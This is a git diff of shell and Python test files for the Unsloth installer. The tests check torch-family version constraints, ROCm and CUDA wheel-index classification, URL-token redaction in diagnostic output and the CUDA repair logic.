diff --git a/tests/sh/test_strixhalo_wsl_reroute.sh b/tests/sh/test_strixhalo_wsl_reroute.sh
index 7edf475ccb..9c9b04cf21 100644
--- a/tests/sh/test_strixhalo_wsl_reroute.sh
+++ b/tests/sh/test_strixhalo_wsl_reroute.sh
@@ -309,7 +309,15 @@ if [ "$_rc" = "2" ]; then echo "  PASS: tauri child exit 2 -> reroute propagates
 assert_absent   "tauri exit 2 -> not a CPU fallback"              "$_out" "__NOROUTE__"
 rm -rf "$_d"
 
-# 27) Non-tauri mode: a child exit 2 is just a failure -> CPU fallback, not propagated.
+# 27) The post-install autostart opt-out must reach the target distro, where the
+#     final launch prompt is evaluated.
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" _SKIP_AUTOSTART=true UNSLOTH_SKIP_AUTOSTART= \
+        UNSLOTH_WSL_REROUTE_CMD='echo skip=[$UNSLOTH_SKIP_AUTOSTART]')
+assert_contains "UNSLOTH_SKIP_AUTOSTART forwarded to reroute"    "$_out" "skip=[1]"
+rm -rf "$_d"
+
+# 28) Non-tauri mode: a child exit 2 is just a failure -> CPU fallback, not propagated.
 _d=$(make_fixture 1 strix 0 26.04 1)
 _rc=0
 _out=$(run_func "$_d" UNSLOTH_WSL_REROUTE_CMD='exit 2') || _rc=$?
diff --git a/tests/sh/test_torch_constraint.sh b/tests/sh/test_torch_constraint.sh
index 293a709360..bfafbd161b 100644
--- a/tests/sh/test_torch_constraint.sh
+++ b/tests/sh/test_torch_constraint.sh
@@ -108,6 +108,39 @@ assert_eq "\$TORCH_CONSTRAINT used in pip install" "yes" "$_has_var"
 _hardcoded=$(grep -c '"torch>=2.4,<2.11.0"' "$INSTALL_SH" || true)
 assert_eq "hardcoded torch>=2.4 appears exactly once" "1" "$_hardcoded"
 
+# Companions must be bounded to torch's window everywhere: the <2.11 bound appears
+# twice (default assignments + the pinned custom-leaf block), never bare. torchaudio
+# 2.11 dropped its exact torch pin, so a bare companion next to a <2.11-capped torch
+# resolves a mismatched 2.11 build.
+_count=$(grep -c 'TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.26.0"' "$INSTALL_SH" || true)
+assert_eq "torchvision bounded (<0.26) at default + custom-leaf" "2" "$_count"
+_count=$(grep -c 'TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.11.0"' "$INSTALL_SH" || true)
+assert_eq "torchaudio bounded (<2.11) at default + custom-leaf" "2" "$_count"
+_count=$(grep -c 'TORCHVISION_CONSTRAINT="torchvision"$' "$INSTALL_SH" || true)
+assert_eq "no bare torchvision companion remains" "0" "$_count"
+_count=$(grep -c 'TORCHAUDIO_CONSTRAINT="torchaudio"$' "$INSTALL_SH" || true)
+assert_eq "no bare torchaudio companion remains" "0" "$_count"
+# The cu* widen must carry the companions with it (torch <2.12 with torchaudio <2.11
+# would cap a mismatched pair the other way).
+assert_eq "cu widen pairs torchaudio (<2.12)" "1" "$(grep -c 'TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.12.0"' "$INSTALL_SH" || true)"
+_gated=$(grep -c '_expected_torch_flavor_tag "$TORCH_INDEX_URL"' "$INSTALL_SH" || true)
+_has_gate=$([ "$_gated" -ge 1 ] && echo "yes" || echo "no")
+assert_eq "custom-companion bound gated on empty flavor tag" "yes" "$_has_gate"
+
+# A fresh CUDA install widens the ceiling to <2.12.0 so cu12x/cu13x land torch
+# 2.11.x (matches the base image and _CUDA_TORCH_PKG_SPEC).
+_cuda_widen=$(grep -c 'TORCH_CONSTRAINT="torch>=2.4,<2.12.0"' "$INSTALL_SH" || true)
+assert_eq "CUDA TORCH_CONSTRAINT widened to <2.12.0" "1" "$_cuda_widen"
+
+# Widening keys off the final leaf (_torch_index_leaf), not the full URL, so a
+# mirror base path with cu*/rocm7.2 but a cpu/older-rocm leaf is not mis-widened.
+_cuda_case=$(grep -c 'cu\[0-9\]\*)' "$INSTALL_SH" || true)
+_has_cuda_case=$([ "$_cuda_case" -ge 1 ] && echo "yes" || echo "no")
+assert_eq "cu* index case adjusts TORCH_CONSTRAINT" "yes" "$_has_cuda_case"
+_leaf_case=$(grep -c 'case "\$_torch_index_leaf" in' "$INSTALL_SH" || true)
+_has_leaf_constraint=$([ "$_leaf_case" -ge 2 ] && echo "yes" || echo "no")
+assert_eq "constraint case anchors on _torch_index_leaf" "yes" "$_has_leaf_constraint"
+
 echo ""
 echo "=== Structural: tokenizers in no-torch-runtime.txt ==="
 
@@ -271,6 +304,61 @@ bash -c "
 _uv_got2=$(cat "$_UV_LOG2" 2>/dev/null || echo "")
 assert_contains "mock uv arm64+py312 receives torch>=2.4" "$_uv_got2" "torch>=2.4,<2.11.0"
 
+# ======================================================================
+# ROCm 2.11 floor: leaf is lowercased before the gfx*/rocm* allowlist match
+# ======================================================================
+echo ""
+echo "=== ROCm 2.11 floor case (leaf normalization) ==="
+
+# Structural: install.sh lowercases _torch_index_leaf before the floor case, so the
+# canonical gfx120X-all (capital X) matches gfx120x-all.
+_has_lc=$(grep -c '_torch_index_leaf=$(printf .* | tr .\[:upper:\]. .\[:lower:\].)' "$INSTALL_SH" || true)
+_has_lc_ok=$([ "$_has_lc" -ge 1 ] && echo "yes" || echo "no")
+assert_eq "install.sh lowercases _torch_index_leaf" "yes" "$_has_lc_ok"
+
+# Runtime: replicate install.sh's normalization + floor case and assert both gfx120X-all
+# and gfx120x-all get the floor, while non-2.11 leaves keep the default.
+run_floor_case() {
+    _url="$1"
+    bash -c '
+        TORCH_CONSTRAINT="torch>=2.4,<2.11.0"
+        TORCHVISION_CONSTRAINT="torchvision"
+        TORCHAUDIO_CONSTRAINT="torchaudio"
+        _torch_index_leaf="${1%/}"
+        _torch_index_leaf="${_torch_index_leaf##*/}"
+        _torch_index_leaf=$(printf "%s" "$_torch_index_leaf" | tr "[:upper:]" "[:lower:]")
+        case "$_torch_index_leaf" in
+            rocm7.2|gfx120x-all|gfx1151|gfx1150)
+                TORCH_CONSTRAINT="torch>=2.11.0,<2.12.0"
+                TORCHVISION_CONSTRAINT="torchvision>=0.26.0,<0.27.0"
+                TORCHAUDIO_CONSTRAINT="torchaudio>=2.11.0,<2.12.0"
+                ;;
+        esac
+        echo "$TORCH_CONSTRAINT"
+    ' _ "$_url"
+}
+
+assert_eq "gfx120X-all (capital) -> 2.11 floor" "torch>=2.11.0,<2.12.0" \
+    "$(run_floor_case 'https://repo.amd.com/rocm/whl/gfx120X-all')"
+assert_eq "gfx120X-all trailing slash -> 2.11 floor" "torch>=2.11.0,<2.12.0" \
+    "$(run_floor_case 'https://repo.amd.com/rocm/whl/gfx120X-all/')"
+assert_eq "gfx120x-all (lowercase) -> 2.11 floor" "torch>=2.11.0,<2.12.0" \
+    "$(run_floor_case 'https://repo.amd.com/rocm/whl/gfx120x-all')"
+assert_eq "gfx1151 -> 2.11 floor" "torch>=2.11.0,<2.12.0" \
+    "$(run_floor_case 'https://repo.amd.com/rocm/whl/gfx1151')"
+assert_eq "gfx1150 -> 2.11 floor" "torch>=2.11.0,<2.12.0" \
+    "$(run_floor_case 'https://repo.amd.com/rocm/whl/gfx1150')"
+assert_eq "rocm7.2 -> 2.11 floor" "torch>=2.11.0,<2.12.0" \
+    "$(run_floor_case 'https://download.pytorch.org/whl/rocm7.2')"
+assert_eq "gfx110X-all -> default (no floor)" "torch>=2.4,<2.11.0" \
+    "$(run_floor_case 'https://repo.amd.com/rocm/whl/gfx110X-all')"
+assert_eq "rocm6.4 -> default (no floor)" "torch>=2.4,<2.11.0" \
+    "$(run_floor_case 'https://download.pytorch.org/whl/rocm6.4')"
+assert_eq "cu128 -> default (no floor)" "torch>=2.4,<2.11.0" \
+    "$(run_floor_case 'https://download.pytorch.org/whl/cu128')"
+assert_eq "cpu -> default (no floor)" "torch>=2.4,<2.11.0" \
+    "$(run_floor_case 'https://download.pytorch.org/whl/cpu')"
+
 # ======================================================================
 # Summary
 # ======================================================================
diff --git a/tests/sh/test_torch_flavor.sh b/tests/sh/test_torch_flavor.sh
index ead2c4164f..55da2c0f07 100755
--- a/tests/sh/test_torch_flavor.sh
+++ b/tests/sh/test_torch_flavor.sh
@@ -11,14 +11,21 @@ INSTALL_SH="$SCRIPT_DIR/../../install.sh"
 PASS=0
 FAIL=0
 
-# Extract the three helper functions from install.sh and source them.
+# Extract the helper functions from install.sh and source them
+# (_torch_index_url_leaf is the shared leaf extractor the classifiers call).
 _FUNC_FILE=$(mktemp)
 {
     sed -n '/^_torch_flavor_tag()/,/^}/p' "$INSTALL_SH"
     echo ""
+    sed -n '/^_torch_index_url_leaf()/,/^}/p' "$INSTALL_SH"
+    echo ""
+    sed -n '/^_is_pip_rocm_family_leaf()/,/^}/p' "$INSTALL_SH"
+    echo ""
     sed -n '/^_expected_torch_flavor_tag()/,/^}/p' "$INSTALL_SH"
     echo ""
     sed -n '/^_torch_index_repairable()/,/^}/p' "$INSTALL_SH"
+    echo ""
+    sed -n '/^_tauri_torch_index_family()/,/^}/p' "$INSTALL_SH"
 } > "$_FUNC_FILE"
 # shellcheck disable=SC1090
 . "$_FUNC_FILE"
@@ -56,6 +63,26 @@ assert_eq "amd gfx index"      "rocm"  "$(_expected_torch_flavor_tag 'https://re
 assert_eq "mirror cu130 leaf"  "cu130" "$(_expected_torch_flavor_tag 'https://my.mirror/pytorch/whl/cu130')"
 assert_eq "unrecognized leaf"  ""      "$(_expected_torch_flavor_tag 'https://my.mirror/whl/simple')"
 assert_eq "empty url"          ""      "$(_expected_torch_flavor_tag '')"
+# Query/fragment dropped before classification: .../cu128?token=x classifies as cu128,
+# not an opaque leaf that reinstalls every run.
+assert_eq "query-bearing cu128" "cu128" "$(_expected_torch_flavor_tag 'https://m/whl/cu128?token=x')"
+assert_eq "fragment-bearing cpu" "cpu"  "$(_expected_torch_flavor_tag 'https://m/whl/cpu#frag')"
+# A cu-suffixed CUSTOM leaf (cu128-private, cu128x) is NOT the cu128 family (exact
+# cu+digits only). Mirrors Python re.fullmatch(cu[0-9]+) / PowerShell.
+assert_eq "cu-suffix custom leaf" ""    "$(_expected_torch_flavor_tag 'https://m/whl/cu128-private')"
+assert_eq "cu-alnum custom leaf"  ""    "$(_expected_torch_flavor_tag 'https://m/whl/cu128x')"
+assert_eq "bare cu digits stays"  "cu126" "$(_expected_torch_flavor_tag 'https://m/whl/cu126')"
+# A custom leaf merely STARTING with rocm (rocm-current, rocm-rel-7.2.1) is NOT a pip
+# rocm family -> "" (custom); real families (rocm7.2) and gfx indexes stay "rocm".
+assert_eq "custom rocm-current"   ""    "$(_expected_torch_flavor_tag 'https://mirror/whl/rocm-current')"
+assert_eq "radeon rocm-rel leaf"  ""    "$(_expected_torch_flavor_tag 'https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2.1')"
+assert_eq "real rocm7.2 stays"    "rocm" "$(_expected_torch_flavor_tag 'https://download.pytorch.org/whl/rocm7.2')"
+# A rocm<digit>-SUFFIX private mirror (rocm7.2-private, rocm7-current) is a custom pin ->
+# "" (custom); match the family exactly, not the prefix.
+assert_eq "suffixed rocm7.2-private" "" "$(_expected_torch_flavor_tag 'https://co.internal/whl/rocm7.2-private')"
+assert_eq "suffixed rocm7-current"   "" "$(_expected_torch_flavor_tag 'https://co.internal/whl/rocm7-current')"
+assert_eq "two-dot rocm7.2.1"        "" "$(_expected_torch_flavor_tag 'https://co.internal/whl/rocm7.2.1')"
+assert_eq "bare rocm7 stays"       "rocm" "$(_expected_torch_flavor_tag 'https://download.pytorch.org/whl/rocm7')"
 
 echo "=== _torch_index_repairable ==="
 assert_eq "cu130 repairable"   "yes"   "$(_torch_index_repairable 'https://download.pytorch.org/whl/cu130')"
@@ -64,6 +91,66 @@ assert_eq "gfx repairable"     "yes"   "$(_torch_index_repairable 'https://repo.
 assert_eq "gfx1151 repairable" "yes"   "$(_torch_index_repairable 'https://repo.amd.com/rocm/whl/gfx1151/')"
 assert_eq "cpu NOT repairable" "no"    "$(_torch_index_repairable 'https://download.pytorch.org/whl/cpu')"
 assert_eq "unknown NOT repair" "no"    "$(_torch_index_repairable 'https://my.mirror/whl/simple')"
+# A suffixed rocm leaf is a verbatim pin, not a --default-index repairable family.
+assert_eq "rocm-private NOT repair" "no" "$(_torch_index_repairable 'https://co.internal/whl/rocm7.2-private')"
+
+echo "=== _is_pip_rocm_family_leaf ==="
+assert_family() {
+    _label="$1"; _expected="$2"; _leaf="$3"
+    if _is_pip_rocm_family_leaf "$_leaf"; then _actual="yes"; else _actual="no"; fi
+    assert_eq "$_label" "$_expected" "$_actual"
+}
+assert_family "rocm7.2 family"        "yes" "rocm7.2"
+assert_family "rocm6.4 family"        "yes" "rocm6.4"
+assert_family "bare rocm7 family"     "yes" "rocm7"
+assert_family "gfx120x-all family"    "yes" "gfx120x-all"
+assert_family "gfx1151 family"        "yes" "gfx1151"
+assert_family "rocm7.2-private custom" "no" "rocm7.2-private"
+assert_family "rocm7-current custom"  "no"  "rocm7-current"
+assert_family "rocm-current custom"   "no"  "rocm-current"
+assert_family "rocm-rel-7.2.1 custom" "no"  "rocm-rel-7.2.1"
+assert_family "rocm7.2.1 custom"      "no"  "rocm7.2.1"
+# A trailing dot (rocm7.) or leading/double dot is NOT a family: both major and minor must
+# be non-empty all-digits, matching Python re.fullmatch(rocm\d+(?:\.\d+)?). Bash previously
+# accepted rocm7. via a bare %/-style trim while Python rejected it (validator asymmetry).
+assert_family "rocm7. trailing-dot custom" "no" "rocm7."
+assert_family "rocm.7 leading-dot custom"  "no" "rocm.7"
+assert_family "rocm7..2 double-dot custom" "no" "rocm7..2"
+assert_family "cpu not rocm"          "no"  "cpu"
+assert_family "cu128 not rocm"        "no"  "cu128"
+assert_family "simple not rocm"       "no"  "simple"
+
+echo "=== _torch_index_url_leaf (ALL trailing slashes stripped -> non-empty leaf) ==="
+# A double (or triple) trailing slash must yield the real leaf, not an empty string that
+# fails every classifier arm. Python .rstrip("/") drops them all; bash must match (a bare
+# %/ left .../cu128// classifying as "").
+assert_eq "double slash cu128 leaf"   "cu128"   "$(_torch_index_url_leaf 'https://m/whl/cu128//')"
+assert_eq "triple slash rocm7.2 leaf" "rocm7.2" "$(_torch_index_url_leaf 'https://m/whl/rocm7.2///')"
+assert_eq "double slash + token leaf" "cu128"   "$(_torch_index_url_leaf 'https://m/whl/cu128//?token=x')"
+assert_eq "single slash cu128 leaf"   "cu128"   "$(_torch_index_url_leaf 'https://m/whl/cu128/')"
+# The classifier that consumes the leaf must therefore still tag a double-slash index.
+assert_eq "double-slash cu128 tag"    "cu128"   "$(_expected_torch_flavor_tag 'https://m/whl/cu128//')"
+assert_eq "double-slash rocm7.2 tag"  "rocm"    "$(_expected_torch_flavor_tag 'https://m/whl/rocm7.2//')"
+
+echo "=== _tauri_torch_index_family (credential redaction) ==="
+# A token/fragment must be stripped BEFORE classification so it never reaches the
+# [TAURI:DIAG] line (the family is the last path segment, which else carries the query).
+SKIP_TORCH=false
+assert_eq "token stripped from rocm"  "rocm7.2" "$(_tauri_torch_index_family 'https://mirror/whl/rocm7.2?token=SECRET')"
+assert_eq "token-bearing cu classifies" "cu128" "$(_tauri_torch_index_family 'https://m/whl/cu128?token=x')"
+assert_eq "fragment stripped cpu"     "cpu"     "$(_tauri_torch_index_family 'https://m/whl/cpu#frag')"
+assert_eq "plain rocm7.2 unchanged"   "rocm7.2" "$(_tauri_torch_index_family 'https://download.pytorch.org/whl/rocm7.2')"
+# A trailing slash must be stripped too, or the */cu128 and */cpu arms miss .../cu128/
+# and it falls through to "auto".
+assert_eq "trailing slash cu128"      "cu128"   "$(_tauri_torch_index_family 'https://download.pytorch.org/whl/cu128/')"
+assert_eq "slash + token cu128"       "cu128"   "$(_tauri_torch_index_family 'https://m/whl/cu128/?token=x')"
+assert_eq "trailing slash cpu"        "cpu"     "$(_tauri_torch_index_family 'https://m/whl/cpu/')"
+# Regression guard: no secret token substring may survive in any classification.
+_leak=$(_tauri_torch_index_family 'https://mirror/whl/rocm7.2?token=SECRET')
+case "$_leak" in
+    *SECRET*|*token*) assert_eq "no token leak in family" "clean" "leaked:$_leak" ;;
+    *)                assert_eq "no token leak in family" "clean" "clean" ;;
+esac
 
 echo ""
 echo "Results: $PASS passed, $FAIL failed"
diff --git a/tests/sh/test_unsloth_torch_override.sh b/tests/sh/test_unsloth_torch_override.sh
new file mode 100644
index 0000000000..84e52ca287
--- /dev/null
+++ b/tests/sh/test_unsloth_torch_override.sh
@@ -0,0 +1,142 @@
+#!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# Tests for the torch-trio --overrides guard on the Step-2 unsloth installs in
+# install.sh. A released unsloth wheel can pin an older torch (2026.7.2 declares
+# torch<2.11.0); without the overrides file a with-deps PyPI resolve downgrades
+# the trio Step 1 installed, and the flavor guard misses it (PyPI's torch 2.10
+# default is itself cu128-flavored). Same assertion pattern as test_torch_constraint.sh.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+PASS=0
+FAIL=0
+
+assert_true() {
+    _label="$1"; _ok="$2"
+    if [ "$_ok" = "0" ]; then
+        echo "  PASS: $_label"
+        PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label"
+        FAIL=$((FAIL + 1))
+    fi
+}
+
+echo "=== test_unsloth_torch_override ==="
+
+# 1. Every with-deps unsloth install carries the overrides expansion (local,
+#    generic, migrated); the --no-deps no-torch paths need no guard.
+_local_block=$(grep -A2 '"install unsloth (local)"' "$INSTALL_SH")
+printf '%s' "$_local_block" | grep -q -- '--overrides "\$_UNSLOTH_TORCH_OVERRIDES"'
+assert_true "local (with-deps) unsloth install passes --overrides" "$?"
+
+_generic_block=$(grep -A2 '"install unsloth" uv pip install' "$INSTALL_SH")
+printf '%s' "$_generic_block" | grep -q -- '--overrides "\$_UNSLOTH_TORCH_OVERRIDES"'
+assert_true "generic (with-deps) unsloth install passes --overrides" "$?"
+
+_migrated_block=$(grep -A3 '"install unsloth (migrated)"' "$INSTALL_SH")
+printf '%s' "$_migrated_block" | grep -q -- '--overrides "\$_UNSLOTH_TORCH_OVERRIDES"'
+assert_true "migrated (with-deps) unsloth install passes --overrides" "$?"
+
+_no_torch_block=$(grep -A2 '"install unsloth (no-torch)"' "$INSTALL_SH")
+if printf '%s' "$_no_torch_block" | grep -q -- '--overrides'; then _rc=1; else _rc=0; fi
+assert_true "no-torch (--no-deps) unsloth install has no overrides" "$_rc"
+
+_migrated_nt_block=$(grep -A2 '"install unsloth (migrated no-torch)"' "$INSTALL_SH")
+if printf '%s' "$_migrated_nt_block" | grep -q -- '--overrides'; then _rc=1; else _rc=0; fi
+assert_true "migrated no-torch (--no-deps) unsloth install has no overrides" "$_rc"
+
+# 2. The overrides file is only built when SKIP_TORCH=false.
+grep -B2 '_torch_trio_pins=\$(' "$INSTALL_SH" | grep -q 'SKIP_TORCH" = false'
+assert_true "overrides file build is gated on SKIP_TORCH=false" "$?"
+
+# 3. The pin-collection snippet emits exact ==pins for the installed trio (run
+#    the embedded python against this test's interpreter).
+_snippet=$(sed -n '/_torch_trio_pins=\$("\$_VENV_PY" -c "/,/^" 2>\/dev\/null)/p' "$INSTALL_SH" \
+    | sed '1s/.*-c "//' | sed '$d')
+_out=$(python3 -c "$_snippet" 2>&1) || true
+# torch may or may not be importable on the test host; the snippet must not
+# crash and every line it does emit must be an exact pkg==version pin.
+if [ -n "$_out" ]; then
+    printf '%s\n' "$_out" | grep -vqE '^(torch|torchvision|torchaudio)==.+$' && _rc=1 || _rc=0
+else
+    _rc=0
+fi
+assert_true "pin snippet emits only exact trio ==pins (or nothing)" "$_rc"
+
+# 4. The temp overrides file is cleaned up after Step 2.
+grep -q 'rm -f "\$_UNSLOTH_TORCH_OVERRIDES"' "$INSTALL_SH"
+assert_true "overrides temp file is removed after the unsloth installs" "$?"
+
+# 5. Any UV_OVERRIDE env file is folded in (the CLI --overrides flag would
+#    otherwise replace it, dropping e.g. the macOS arm64 darwin overrides).
+grep -q 'for _ov_file in \${UV_OVERRIDE:-}' "$INSTALL_SH"
+assert_true "UV_OVERRIDE env files are merged into the overrides file" "$?"
+
+# 6. Exit and signal traps share cleanup, so a failed or interrupted Step 2
+#    cannot leak the overrides file.
+sed -n '/_on_install_exit() {/,/^}/p' "$INSTALL_SH" | grep -q '_cleanup_install_temporaries'
+_exit_cleanup_rc=$?
+sed -n '/_on_install_signal() {/,/^}/p' "$INSTALL_SH" | grep -q '_cleanup_install_temporaries'
+_signal_cleanup_rc=$?
+sed -n '/_cleanup_install_temporaries() {/,/^}/p' "$INSTALL_SH" \
+    | grep -q 'rm -f "\$_UNSLOTH_TORCH_OVERRIDES"'
+_cleanup_body_rc=$?
+if [ "$_exit_cleanup_rc" -eq 0 ] && [ "$_signal_cleanup_rc" -eq 0 ] \
+   && [ "$_cleanup_body_rc" -eq 0 ]; then
+    _rc=0
+else
+    _rc=1
+fi
+assert_true "exit and signal traps remove the overrides temp file" "$_rc"
+
+# 7. The UV_OVERRIDE fold filters inherited files instead of cat-ing them (run
+#    the extracted awk program on sample files): (a) inherited torch-trio lines
+#    are dropped so the generated exact pins win (uv intersects duplicates);
+#    (b) every line is newline-terminated so an unterminated file cannot join
+#    two requirements into one.
+_awk_prog=$(sed -n "s/.*awk '\(.*\)' \"\$_ov_file\".*/\1/p" "$INSTALL_SH")
+[ -n "$_awk_prog" ]
+assert_true "UV_OVERRIDE fold uses the trio-filtering awk program" "$?"
+
+_ov_dir=$(mktemp -d)
+printf '%s' 'transformers>=4.57.6' > "$_ov_dir/ov1.txt" # no trailing newline
+cat > "$_ov_dir/ov2.txt" <<'EOF'
+# comment survives
+torch<2.11.0
+torchvision==0.25.0
+torchaudio!=2.11.0
+torchmetrics==1.0
+anyio<4.14.0
+EOF
+_merged="$_ov_dir/merged.txt"
+printf '%s\n' 'torch==2.11.0+cu128' > "$_merged"
+for _f in "$_ov_dir/ov1.txt" "$_ov_dir/ov2.txt"; do
+    awk "$_awk_prog" "$_f" >> "$_merged"
+done
+
+grep -qx 'transformers>=4.57.6' "$_merged"
+assert_true "no-trailing-newline override stays a separate requirement line" "$?"
+
+if grep -qx 'torchmetrics==1.0' "$_merged" && grep -qx 'anyio<4.14.0' "$_merged"; then
+    _rc=0
+else
+    _rc=1
+fi
+assert_true "unrelated inherited overrides are preserved" "$_rc"
+
+if grep -qE '^(torch|torchvision|torchaudio)([[:space:]<>=!~;@[]|$)' "$_merged" \
+    && [ "$(grep -cE '^(torch|torchvision|torchaudio)([[:space:]<>=!~;@[]|$)' "$_merged")" != "1" ]; then
+    _rc=1
+else
+    _rc=0
+fi
+grep -qx 'torch==2.11.0+cu128' "$_merged" || _rc=1
+assert_true "inherited torch-trio lines are dropped; generated pin wins" "$_rc"
+rm -rf "$_ov_dir"
+
+echo ""
+echo "Results: $PASS passed, $FAIL failed"
+[ "$FAIL" -eq 0 ] || exit 1
diff --git a/tests/studio/_playwright_robust.py b/tests/studio/_playwright_robust.py
index a4590066d4..b2f6df751e 100644
--- a/tests/studio/_playwright_robust.py
+++ b/tests/studio/_playwright_robust.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Shared CI-runner workarounds for the Studio Playwright tests (Chromium flags,
+"""Shared CI-runner workarounds for the Unsloth Playwright tests (Chromium flags,
 view-transition killer, page recovery, post-action response wait). Imported
 directly by the standalone scripts; does NOT depend on pytest.
 """
@@ -130,7 +130,7 @@ def wait_for_health(
             timeout = 3.0,
         )
         last_status, last_body = status, body
-        # Accept any 200 -- different Studio builds report status differently.
+        # Accept any 200 -- different Unsloth builds report status differently.
         if status == 200:
             if info is not None:
                 info(f"health pre-flight OK: status=200, body keys={list((body or {}).keys())}")
diff --git a/tests/studio/install/smoke_test_parallel_studio_home.py b/tests/studio/install/smoke_test_parallel_studio_home.py
index 9d840355e1..55b6df5190 100644
--- a/tests/studio/install/smoke_test_parallel_studio_home.py
+++ b/tests/studio/install/smoke_test_parallel_studio_home.py
@@ -80,7 +80,7 @@ def _launch_backend(
     env = os.environ.copy()
     env["HOME"] = str(fake_home)
     # Pin UNSLOTH_STUDIO_HOME and clear the alias so the child can't inherit a
-    # Studio root from the caller's shell and resolve to the wrong install.
+    # Unsloth root from the caller's shell and resolve to the wrong install.
     env["UNSLOTH_STUDIO_HOME"] = str(studio_home)
     env.pop("STUDIO_HOME", None)
     # Popen dups stdout into the child, so closing the parent's handle here is safe.
diff --git a/tests/studio/install/test_cuda_repair.py b/tests/studio/install/test_cuda_repair.py
index cea4383268..c6d2b95316 100644
--- a/tests/studio/install/test_cuda_repair.py
+++ b/tests/studio/install/test_cuda_repair.py
@@ -64,15 +64,23 @@ def _run_cuda_repair(
     rocm_marker = False,
     smi_path = "/usr/bin/nvidia-smi",
     cvd = None,
+    index_family = None,
+    index_url = None,
 ):
     """Invoke _ensure_cuda_torch under a fully mocked host; return the pip mock.
 
-    cvd controls CUDA_VISIBLE_DEVICES: None removes it from the env, any string sets it."""
+    cvd controls CUDA_VISIBLE_DEVICES: None removes it from the env, any string sets it.
+    index_family sets UNSLOTH_TORCH_INDEX_FAMILY (the explicit wheel-index pin).
+    index_url sets UNSLOTH_TORCH_INDEX_URL (the full-URL pin form)."""
     env = {}
     if rocm_marker:
         env["UNSLOTH_ROCM_TORCH_INSTALLED"] = "1"
     if cvd is not None:
         env["CUDA_VISIBLE_DEVICES"] = cvd
+    if index_family is not None:
+        env["UNSLOTH_TORCH_INDEX_FAMILY"] = index_family
+    if index_url is not None:
+        env["UNSLOTH_TORCH_INDEX_URL"] = index_url
 
     def _which(name, *a, **k):
         if name == "nvidia-smi":
@@ -99,6 +107,10 @@ def _run_cuda_repair(
             stack_mod.os.environ.pop("UNSLOTH_ROCM_TORCH_INSTALLED", None)
         if cvd is None:
             stack_mod.os.environ.pop("CUDA_VISIBLE_DEVICES", None)
+        if index_family is None:
+            stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_FAMILY", None)
+        if index_url is None:
+            stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_URL", None)
         _ensure_cuda_torch()
     return mock_pip
 
@@ -123,11 +135,74 @@ class TestCudaRepairFires:
         assert mock_pip.call_args.kwargs["constrain"] is False
 
     def test_rocm_in_version_string_triggers_repair(self):
-        # AMD SDK / Radeon wheels may encode rocm in __version__ without
-        # torch.version.hip; the probe prints "hip" for both.
+        # AMD SDK / Radeon wheels may encode rocm in __version__ without torch.version.hip;
+        # the probe prints "hip" for both.
         mock_pip = _run_cuda_repair(torch_state = "hip")
         assert mock_pip.call_count == 1
 
+    def test_no_gpu_but_explicit_cuda_pin_repairs(self):
+        # Headless / CI cross-install: an explicit cu* pin commits to CUDA wheels with no
+        # NVIDIA GPU visible, so a ROCm-poisoned venv is still repaired to the pinned family.
+        mock_pip = _run_cuda_repair(
+            nvidia = False,
+            backend = "cuda",
+            index_family = "cu128",
+            torch_state = "hip",
+        )
+        assert mock_pip.call_count == 1
+        assert "cu128" in _index_url(mock_pip)
+
+    def test_cvd_hidden_but_explicit_cuda_pin_repairs(self):
+        # CVD=-1/"" hides the GPU, but an explicit cu* pin skips ALL host-GPU probing, so the
+        # CVD hide gate must not suppress the repair (GPU-less CI: CVD=-1, FAMILY=cu128).
+        for _cvd in ("-1", ""):
+            mock_pip = _run_cuda_repair(
+                nvidia = False,
+                backend = "cuda",
+                cvd = _cvd,
+                index_family = "cu128",
+                torch_state = "hip",
+            )
+            assert mock_pip.call_count == 1
+            assert "cu128" in _index_url(mock_pip)
+
+    def test_tagged_cuda_mismatch_repairs(self):
+        # A healthy CUDA torch whose +cuXXX differs from the pin is repaired.
+        mock_pip = _run_cuda_repair(
+            index_family = "cu128",
+            torch_state = "cuda|cu126",
+            cuda_version = "12.8",
+        )
+        assert mock_pip.call_count == 1
+        assert "cu128" in _index_url(mock_pip)
+
+    def test_untagged_cuda_build_under_pin_repairs(self):
+        # An untagged CUDA build (no +cuXXX tag -> empty installed cu) can't be confirmed
+        # to match the pin, so the pin is enforced with a reinstall.
+        mock_pip = _run_cuda_repair(
+            index_family = "cu128",
+            torch_state = "cuda",  # marker cuda, empty installed cu
+            cuda_version = "12.8",
+        )
+        assert mock_pip.call_count == 1
+        assert "cu128" in _index_url(mock_pip)
+
+    def test_broken_probe_with_cuda_pin_repairs(self):
+        # torch present but unimportable under a CUDA pin: the base update won't repair a
+        # broken already-installed torch, so reinstall from the pin instead of stranding it.
+        mock_pip = _run_cuda_repair(torch_state = "hip", torch_rc = 1, index_family = "cu128")
+        assert mock_pip.call_count == 1
+        assert "cu128" in _index_url(mock_pip)
+
+    def test_broken_probe_with_cuda_url_pin_repairs(self):
+        mock_pip = _run_cuda_repair(
+            torch_state = "cpu",
+            torch_rc = 1,
+            index_url = "https://mirror.local/cu128",
+        )
+        assert mock_pip.call_count == 1
+        assert "https://mirror.local/cu128" in _index_url(mock_pip)
+
 
 # No-op cases.
 
@@ -157,8 +232,9 @@ class TestCudaRepairSkips:
         mock_pip = _run_cuda_repair(nvidia = False, torch_state = "hip")
         mock_pip.assert_not_called()
 
-    def test_torch_missing_skips(self):
-        # Non-zero probe exit = torch missing / un-importable.
+    def test_torch_missing_no_pin_skips(self):
+        # Non-zero probe exit = torch missing/un-importable. With NO CUDA pin the base
+        # install owns it, so leave it alone (a pinned build reinstalls).
         mock_pip = _run_cuda_repair(torch_state = "hip", torch_rc = 1)
         mock_pip.assert_not_called()
 
